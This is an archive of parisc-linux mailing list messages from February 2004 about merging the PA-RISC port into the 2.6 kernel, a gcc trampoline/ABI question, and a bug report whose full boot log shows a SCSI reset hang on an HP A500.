List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 07 Feb 2004 22:27:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20806

> 14231 bytes ( 8 files changed, 342 insertions(+), 7 deletions(-) ) is
> Carlos' compat_signal work.  This is going upstream via akpm and should
> be in 2.6.4.  Excellent work, Carlos.

Thanks, that reminds me to send akpm another update, and a changelog.
 
> ... and that's it!  I think the only thing that prevents Linus' tree from
> building and working on at least a subset of configurations is the console
> hackery.
> 
> We're in really good shape in 2.6, thanks to all of you.

Thanks for all your hard work too! :)

c.



From - Thu Nov 08 21:30:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Merge status with 2.6
Date: Sun, 8 Feb 2004 00:09:55 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <200402080009.55911.deller@gmx.de>
References: <20040207172108.GV24334@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623183 5495 80.91.229.3 (22 Nov 2014 02:26:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:23 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Sat Feb  7 16:10:06 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 458EE484B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Feb 2004 16:10:05 -0700 (MST)
Original-Received: (qmail 704 invoked by uid 65534); 7 Feb 2004 23:09:58 -0000
Original-Received: from pD90407F6.dip.t-dialin.net (EHLO p100) (217.4.7.246)
	by mail.gmx.net (mp011) with SMTP; 08 Feb 2004 00:09:58 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.6.51
In-Reply-To: <20040207172108.GV24334@parcelfarce.linux.theplanet.co.uk>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 07 Feb 2004 23:10:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20807

On Saturday 07 February 2004 18:21, Matthew Wilcox wrote:
> Of that, 229111 bytes ( 23 files changed, 5811 insertions(+), 819 deletions(-) )
> is the input layer changes for ps/2 and HIL.  I'm assuming Helge's taking
> care of merging that with Vojtech (thanks a lot, Helge!)

Thanks, and thank you for do the merging stuff !
Of course I will continue with the PS/2 and as far as possible with the
HIL upstream merge.

Helge


From - Thu Nov 08 21:30:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] gcc/config/pa/ftpr.c fixes for new
	TRAMPOLINE_TEMPLATE in
Date: Sat, 7 Feb 2004 19:00:09 -0500 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <200402080000.i18009hb006432@hiauly1.hia.nrc.ca>
References: <20040131222832.GB19840@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623183 5499 80.91.229.3 (22 Nov 2014 02:26:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:23 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Feb  7 17:00:13 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C1D67484B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Feb 2004 17:00:12 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i1800Ag4006434; Sat, 7 Feb 2004 19:00:10 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i18009hb006432;
	Sat, 7 Feb 2004 19:00:09 -0500 (EST)
In-Reply-To: <20040131222832.GB19840@baldric.uwo.ca> from "Carlos O'Donell" at
	Jan 31, 2004 05:28:33 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 08 Feb 2004 00:00:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20808

> The following patch is required in gcc to add another byte check for the
> new TRAMPOLINE_TEMPLATE that has profile fixes added in glibc 2.3.2.
> I've added comments in glibc to indicate that TRAMPOLINE_TEMPLATE
> changes are bad things to do. AFAIK this is the last change *ever* since
> we now have working profile support :)
> 
> I'm not quite sure what the "-4" is intended to accomplish, I figure I
> could have prefixed the TREAMPOLINE_TEMPLATE with another jump that
> gives the right address? That still makes for an extra jump, and I'd
> rather have gcc just look in the right place first.
> 
> Thoughts on this?

I'm just back from Japan and still somewhat jet lagged.

The change to the TRAMPOLINE_TEMPLATE macro introduces an ABI change.
In spite of the extra overhead, I think it would be better to do it
in a way that didn't require a libgcc.a update.  We only do a call
to fixup when a function pointer hasn't been resolved, so the extra
overhead in using "-4" isn't huge.

If we use the "-4" feature, I can reverse the search order in fptr.c
so that the offset at "-4" is searched first.  This also allows arbitrary
changes to the code in the rest of the template.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:30:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] gcc/config/pa/ftpr.c fixes for new
	TRAMPOLINE_TEMPLATE in
Date: Sat, 7 Feb 2004 20:47:00 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <20040208014659.GC23095@baldric.uwo.ca>
References: <20040131222832.GB19840@baldric.uwo.ca>
	<200402080000.i18009hb006432@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623184 5501 80.91.229.3 (22 Nov 2014 02:26:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:24 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: carlos@baldric.uwo.ca  Sat Feb  7 18:46:31 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep03-mail.bloor.is.net.cable.rogers.com
	(fep03-mail.bloor.is.net.cable.rogers.com [66.185.86.73])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EC63484B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Feb 2004 18:46:31 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep03-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040208014615.UFGG189272.fep03-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Sat, 7 Feb 2004 20:46:15 -0500
Content-Disposition: inline
In-Reply-To: <200402080000.i18009hb006432@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (71% Sync Ratio [=======...])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep03-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Sat,
	7 Feb 2004 20:46:15 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 08 Feb 2004 01:46:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20809

> > I'm not quite sure what the "-4" is intended to accomplish, I figure I
> > could have prefixed the TREAMPOLINE_TEMPLATE with another jump that
> > gives the right address? That still makes for an extra jump, and I'd
> > rather have gcc just look in the right place first.
> > 
> > Thoughts on this?
> 
> I'm just back from Japan and still somewhat jet lagged.

No worries!
 
> The change to the TRAMPOLINE_TEMPLATE macro introduces an ABI change.
> In spite of the extra overhead, I think it would be better to do it
> in a way that didn't require a libgcc.a update.  We only do a call
> to fixup when a function pointer hasn't been resolved, so the extra
> overhead in using "-4" isn't huge.

How do we break ABI? How are those templates part of any ABI? If they
weren't written in ASM they'd be changing all the time (except the entry
point symbol).

An alternative is to split into two templates, one for profiling and one
for non-profiling. This would mean that the original _dl_runtime_resolve
function looks the same, while the following template is bigger.

> If we use the "-4" feature, I can reverse the search order in fptr.c
> so that the offset at "-4" is searched first.  This also allows arbitrary
> changes to the code in the rest of the template.

The only reason I wanted to change __cffc was so the bl was found on the
first loop. I later changed the glibc to include the same bl at "-4"
before the function. The "32" must remain for old applications, the "-4"
will work for new applications once that patches go into debian's glibc
(after a round of public testing).

Perhaps I'll let you catch up on all the mail I sent you :)

c.



From - Thu Nov 08 21:30:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Merge status with 2.6
Date: Sun, 8 Feb 2004 22:59:43 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20040208225943.GJ24334@parcelfarce.linux.theplanet.co.uk>
References: <20040207172108.GV24334@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623184 5504 80.91.229.3 (22 Nov 2014 02:26:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:24 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: willy@www.linux.org.uk  Sun Feb  8 15:59:45 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 235ED484B
	for <parisc-linux@parisc-linux.org>;
	Sun,  8 Feb 2004 15:59:45 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1Apxtv-0001Cz-KM; Sun, 08 Feb 2004 22:59:43 +0000
Content-Disposition: inline
In-Reply-To: <20040207172108.GV24334@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 08 Feb 2004 22:59:45 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20810

On Sat, Feb 07, 2004 at 05:21:08PM +0000, Matthew Wilcox wrote:
> kernel/sysctl.c: Have we really removed these sysctls or is this a merge
> 	artifact?

Merge botch, needs to be removed from upstream.  Art Haas coincidentally
pointed this one out to me today.  It's going in via akpm.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.3-rc1 sym2 hangs on a500-65
Date: Sun, 8 Feb 2004 20:56:21 -0700
Lines: 253
Approved: news@gmane.org
Message-ID: <20040209035621.GD21692@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623184 5507 80.91.229.3 (22 Nov 2014 02:26:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: willy@debian.org
Original-X-From: grundler@lackof.org  Sun Feb  8 20:56:24 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7DE2B484B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 Feb 2004 20:56:24 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id DD413298054; Sun,  8 Feb 2004 20:56:23 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 25438-01; Sun, 8 Feb 2004 20:56:22 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 076F829802B; Sun,  8 Feb 2004 20:56:21 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 09 Feb 2004 03:56:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20811

Matthew,
a500 (ion) hangs with /boot/vmlinux-2.6.3-rc1-pa2.
Having problems with bus reset code path.
I'll collect TOC info and make that available.

thanks,
grant


Firmware Version  42.19

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2001, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  Number                                       State              Inst    Data
  ---------  --------   ---------------------  -----------------  ------------
      0      650  MHz   Active                 Functional         750 KB 1.5 MB

  Central Bus Speed (in MHz)  :        120  
  Available Memory            :    1048576  KB
  Good Memory Required        :      25820  KB

   Primary boot path:    0/0/2/1.15          
   Alternate boot path:  0/0/1/1.15          
   Console path:         0/0/4/1.643         
   Keyboard path:        0/0/4/0.0           


---- Main Menu ---------------------------------------------------------------

     Command                           Description
     -------                           -----------
     BOot [PRI|ALT|<path>]             Boot from specified path
     PAth [PRI|ALT] [<path>]           Display or modify a path
     SEArch [DIsplay|IPL] [<path>]     Search for boot devices

     COnfiguration menu                Displays or sets boot values
     INformation menu                  Displays hardware information
     SERvice menu                      Displays service commands

     DIsplay                           Redisplay the current menu
     HElp [<menu>|<command>]           Display help for menu or command
     RESET                             Restart the system
----
Main Menu: Enter command or menu > bo
Interact with IPL (Y, N, or Cancel)?> y

Booting... 
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.2 root@b2000 Tue Jan 14 13:13:07 MST 2003

Partition Start(MB) End(MB) Id Type
1               1     512   82 swap
2             513     532   f0 Palo
3             533    2048   83 ext2
4            2049    8682   83 ext2

PALO(F0) partition contains:
    0/vmlinux64 5382306 bytes @ 0x20040000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).Current command line:
3/boot/vmlinux initrd=3/boot/initrd.img root=/dev/sdb3 HOME=/ console=ttyS0 TERM=vt102
 0: 3/boot/vmlinux
 1: initrd=3/boot/initrd.img
 2: root=/dev/sdb3
 3: HOME=/
 4: console=ttyS0
 5: TERM=vt102

Edit which field?
(or 'b' to boot with this command line)? 0
3/boot/vmlinux-2.6.3-rc1-pa2
Current command line:
3/boot/vmlinux-2.6.3-rc1-pa2 initrd=3/boot/initrd.img root=/dev/sdb3 HOME=/ console=ttyS0 TERM=vt102
 0: 3/boot/vmlinux-2.6.3-rc1-pa2
 1: initrd=3/boot/initrd.img
 2: root=/dev/sdb3
 3: HOME=/
 4: console=ttyS0
 5: TERM=vt102

Edit which field?
(or 'b' to boot with this command line)? b

Command line for kernel: ' root=/dev/sdb3 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=3/boot/vmlinux-2.6.3-rc1-pa2'
Selected kernel: /boot/vmlinux-2.6.3-rc1-pa2 from partition 3
Selected ramdisk: /boot/initrd.img from partition 3
ELF64 executable
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 3581040 mediaptr 0x1000
Segment 1 load 0046c000 size 237701 mediaptr 0x36c000
Loading ramdisk 3256320 bytes @ 3fcd2000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.3-rc1-pa2 (grundler@gsyprf11.external.hp.com) (gcc version 3.0.4) #3 Sun Feb 8 15:40:17 PST 2004
FP[0] enabled: Rev 1 Model 19
The 64-bit Kernel has started...
Determining PDC firmware type: 64 bit PAT.
model 00005e20 00000491 00000000 00000001 6df6c82e 100000f0 00000008 000000b2 000000b2
vers  00000203
CPUID vers 19 rev 8 (0x00000268)
capabilities 0x5
model 9000/800/A500-6X
Total Memory: 1024 Mb
initrd: 4fcd2000-4ffed000
initrd: reserving 3fcd2000-3ffed000 (mem_max 40000000)
On node 0 totalpages: 262144
  DMA zone: 262144 pages, LIFO batch:16
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
Built 1 zonelists
Kernel command line:  root=/dev/sdb3 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=3/boot/vmlinux-2.6.3-rc1-pa2
PID hash table entries: 16 (order 4: 256 bytes)
Console: colour dummy device 160x64
Memory: 1018752k available
Calibrating delay loop... 1294.33 BogoMIPS
Dentry cache hash table entries: 131072 (order: 8, 1048576 bytes)
Inode-cache hash table entries: 65536 (order: 7, 524288 bytes)
Mount-cache hash table entries: 256 (order: 0, 4096 bytes)
checking if image is initramfs...it isn't (ungzip failed); looks like an initrd
POSIX conformance testing by UNIFIX
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Crescendo 650 W2 at 0xfffffffffffa0000 [160] { 0, 0x0, 0x5e2, 0x00004 }
2. Astro BC Runway Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x582, 0x0000b }
3. Elroy PCI Bridge at 0xfffffffffed30000 [0/0] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfffffffffed34000 [0/2] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfffffffffed38000 [0/4] { 13, 0x0, 0x782, 0x0000a }
6. Elroy PCI Bridge at 0xfffffffffed3c000 [0/6] { 13, 0x0, 0x782, 0x0000a }
7. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x09b, 0x00009 }
CPU(s): 1 x PA8700 (PCX-W2) at 650.000000 MHz
SBA found Astro 2.1 at 0xfffffffffed00000
lba version TR4.0 (0x5) found at 0xfffffffffed30000
iosapic: no IRTE for 0000:00:04.0 (IRQ not connected?)
lba version TR4.0 (0x5) found at 0xfffffffffed34000
lba version TR4.0 (0x5) found at 0xfffffffffed38000
lba version TR4.0 (0x5) found at 0xfffffffffed3c000
SCSI subsystem initialized
Performance monitoring counters enabled for Crescendo 650 W2
ikconfig 0.7 with /proc/config*
Initializing Cryptographic API
Soft power switch support not available.
pty: 256 Unix98 ptys configured
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 17 ports, IRQ sharing enabled
ttyS0 at MMIO 0xfffffffff8000000 (irq = 132) is a 16550A
ttyS1 at MMIO 0xfffffffff8000008 (irq = 132) is a 16450
ttyS2 at MMIO 0xfffffffff8000010 (irq = 132) is a 16550A
ttyS3 at MMIO 0xfffffffff8000030 (irq = 132) is a 16550A
ttyS4 at MMIO 0xfffffffff8000038 (irq = 132) is a 16550A
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
Linux Tulip driver version 1.1.13-NAPI (May 11, 2002)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.
eth0: Digital DS21143 Tulip rev 65 at 0xfffffffff8006000, 00:30:6E:48:F6:40, IRQ 128.
sym0: <896> rev 0x7 at pci 0000:00:01.0 irq 129
sym0: No NVRAM, ID 7, Fast-40, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18i
Using anticipatory io scheduler
sym0:0:0: ABORT operation started.
sym0:0:0: ABORT operation complete.
sym0:0:0: DEVICE RESET operation started.
sym0:0:0: DEVICE RESET operation failed.
sym0:0:0: BUS RESET operation started.
sym0:0:0: BUS RESET operation failed.
sym0:0:0: HOST RESET operation started.
sym0:0:0: HOST RESET operation failed.
scsi: Device offlined - not ready after error recovery: host 0 channel 0 id 0 lun 0
sym1: <896> rev 0x7 at pci 0000:00:01.1 irq 130
sym1: No NVRAM, ID 7, Fast-40, SE, parity checking
sym1: SCSI BUS has been reset.
sym1: SCSI BUS mode change from SE to SE.
sym1: SCSI BUS has been reset.
scsi1 : sym-2.1.18i
  Vendor: SEAGATE   Model: ST39102LC         Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym1:15:0: tagged command queuing enabled, command queue depth 16.
sym2: <875> rev 0x37 at pci 0000:00:02.0 irq 130
sym2: No NVRAM, ID 7, Fast-20, SE, parity checking
sym2: SCSI BUS has been reset.
scsi2 : sym-2.1.18i
sym3: <875> rev 0x37 at pci 0000:00:02.1 irq 131
sym3: No NVRAM, ID 7, Fast-20, SE, parity checking
sym3: SCSI BUS has been reset.
scsi3 : sym-2.1.18i
  Vendor: SEAGATE   Model: ST39102LC         Rev: 7C03
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym3:15:0: tagged command queuing enabled, command queue depth 16.
sym4: <1010-66> rev 0x1 at pci 0000:30:02.0 irq 322
sym4: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym4: SCSI BUS has been reset.
scsi4 : sym-2.1.18i
  Vendor: HP        Model: D5989C            Rev: 1.03
  Type:   Processor                          ANSI SCSI revision: 02
  Vendor: HP 18.2G  Model: ST318452LC        Rev: HP05
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym4:10:0: tagged command queuing enabled, command queue depth 16.
  Vendor: HP        Model: 18.2GB C 80-F612  Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym4:11:0: tagged command queuing enabled, command queue depth 16.
  Vendor: HP 18.2G  Model: ST318452LC        Rev: HP05
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym4:12:0: tagged command queuing enabled, command queue depth 16.
  Vendor: HP        Model: 9.10GB C 80-BX01  Rev: BX01
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym4:13:0: tagged command queuing enabled, command queue depth 16.
  Vendor: HP        Model: 9.10GB C 80-BX01  Rev: BX01
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym4:14:0: tagged command queuing enabled, command queue depth 16.
  Vendor: FUJITSU   Model: MAJ3091MC         Rev: 0111
  Type:   Direct-Access                      ANSI SCSI revision: 04
sym4:15:0: tagged command queuing enabled, command queue depth 16.
sym4:15: FAST-80 WIDE SCSI 160.0 MB/s DT (12.5 ns, offset 31)
sym5: <1010-66> rev 0x1 at pci 0000:30:02.1 irq 323
sym5: No NVRAM, ID 7, Fast-80, LVD, parity checking
sym5: SCSI BUS has been reset.
scsi5 : sym-2.1.18i
  Vendor: HP        Model: 18.2GB C 80-H008  Rev: H008
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym5:0:0: tagged command queuing enabled, command queue depth 16.
  Vendor: HP        Model: 18.2GB C 80-H008  Rev: H008
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym5:1:0: tagged command queuing enabled, command queue depth 16.
  Vendor: HP 18.2G  Model: ST318452LC        Rev: HP05
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym5:2:0: tagged command queuing enabled, command queue depth 16.
sym5:3:0: ABORT operation started.
sym5:3:0: ABORT operation timed-out.
sym5:3:0: DEVICE RESET operation started.
sym5:3:0: DEVICE RESET operation timed-out.
sym5:3:0: BUS RESET operation started.
sym5: SCSI BUS reset detected.
sym5: SCSI BUS has been reset.
sym5:3:0: BUS RESET operation complete.
sym5:3:0: ABORT operation started.
sym5:3:0: ABORT operation timed-out.
sym5:3:0: HOST RESET operation started.
sym5: SCSI BUS has been reset.
<hang>


From - Thu Nov 08 21:30:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.3-rc1 sym2 hangs on a500-65
Date: Sun, 8 Feb 2004 21:34:41 -0700
Lines: 200
Approved: news@gmane.org
Message-ID: <20040209043441.GE21692@colo.lackof.org>
References: <20040209035621.GD21692@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623185 5508 80.91.229.3 (22 Nov 2014 02:26:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:25 +0000 (UTC)
